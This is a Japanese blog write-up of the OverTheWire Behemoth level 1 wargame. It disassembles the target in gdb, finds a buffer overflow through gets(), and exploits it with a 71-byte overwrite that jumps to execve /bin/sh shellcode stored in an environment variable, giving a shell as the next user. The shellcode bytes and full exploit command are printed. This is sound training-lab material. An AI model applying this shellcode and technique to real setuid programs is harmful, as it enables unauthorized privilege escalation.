OverTheWire:Behemoth1
前回の記事で取得したパスワードで接続。
ssh behemoth1@behemoth.labs.overthewire.org -p 2221
とりあえず実行してみる。
behemoth1@behemoth:~$ /behemoth/behemoth1
Password: abc
Authentication failure.
Sorry.
あら、見掛け上の動きは前回と同じ。
どんなプログラムなのか知るため、デバッガで逆アセンブルしてみる。
behemoth1@behemoth:~$ gdb -q /behemoth/behemoth1
Reading symbols from /behemoth/behemoth1...(no debugging symbols found)...done.
(gdb) start
Temporary breakpoint 1 at 0x8048451
Starting program: /behemoth/behemoth1
Temporary breakpoint 1, 0x08048451 in main ()
(gdb) disas
Dump of assembler code for function main:
0x0804844b <+0>: push %ebp
0x0804844c <+1>: mov %esp,%ebp
0x0804844e <+3>: sub $0x44,%esp
=> 0x08048451 <+6>: push $0x8048500
0x08048456 <+11>: call 0x8048300 <printf@plt>
0x0804845b <+16>: add $0x4,%esp
0x0804845e <+19>: lea -0x43(%ebp),%eax
0x08048461 <+22>: push %eax
0x08048462 <+23>: call 0x8048310 <gets@plt>
0x08048467 <+28>: add $0x4,%esp
0x0804846a <+31>: push $0x804850c
0x0804846f <+36>: call 0x8048320 <puts@plt>
0x08048474 <+41>: add $0x4,%esp
0x08048477 <+44>: mov $0x0,%eax
0x0804847c <+49>: leave
0x0804847d <+50>: ret
End of assembler dump.
(gdb)
なるほど、パスワードに何を入力しても "Authentication failure." を表示して終了するプログラムのようだ。ただし、gets() で無制限に入力文字列を読み込んでいるので、バッファオーバーフローの脆弱性がある。
0x0804845e <+19>: lea -0x43(%ebp),%eax
0x08048461 <+22>: push %eax
0x08048462 <+23>: call 0x8048310 <gets@plt>
ざっくり計算して 70文字ぐらい入力すれば、gets()をコールした後の戻りアドレスを書き換えることができそう。。試してみよう。
behemoth1@behemoth:~$ perl -e 'print "A"x69' | /behemoth/behemoth1
Password: Authentication failure.
Sorry.
behemoth1@behemoth:~$ perl -e 'print "A"x70' | /behemoth/behemoth1
Password: Authentication failure.
Sorry.
behemoth1@behemoth:~$ perl -e 'print "A"x71' | /behemoth/behemoth1
Password: Authentication failure.
Sorry.
Segmentation fault
behemoth1@behemoth:~$
71文字でジャンプ先が制御できそうなことが判った。
攻撃方法としては、環境変数 EGG にシェルコードを書いておいて、そこにジャンプさせることでシェルを起動する、という方法で良さそうだ。
まずは、環境変数 EGGの準備。
behemoth1@behemoth:~$ export EGG=$(perl -e 'print "\x90"x32 ."\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"')
behemoth1@behemoth:~$
次に EGGのアドレスを調べる。
getenv() を実行するだけの簡単なプログラムを書いて実行。
ファイル名は攻撃対象のプログラムの名称(behemoth1)と同じにしないとアドレスがズレてしまうので注意。
behemoth1@behemoth:/tmp/hoge$ cat behemoth1.c #include <stdlib.h> #include <stdio.h>
int main(void) {
printf("EGG: %p\n", getenv("EGG"));
return 0;
}
behemoth1@behemoth:/tmp/hoge$ gcc -m32 -o behemoth1 behemoth1.c
behemoth1@behemoth:/tmp/hoge$ ./behemoth1
EGG: 0xffffde75
behemoth1@behemoth:/tmp/hoge$
環境変数のアドレスは 0xffffde75 になることが判った。
これで準備ができたので、いよいよこのプログラムを攻撃する。
コマンドは以下のような感じか。。
<コマンド>
(perl -e 'print "A"x71 . "\x75\xde\xff\xff"';cat ) | /behemoth/behemoth1
では、実行!
想定通りシェルが起動して権限は behemoth2 になっている。
これで次のレベル(bhemoth2)のパスワードを読むことができる。
今日はこれでおしまい!
この記事が気に入ったらサポートをしてみませんか?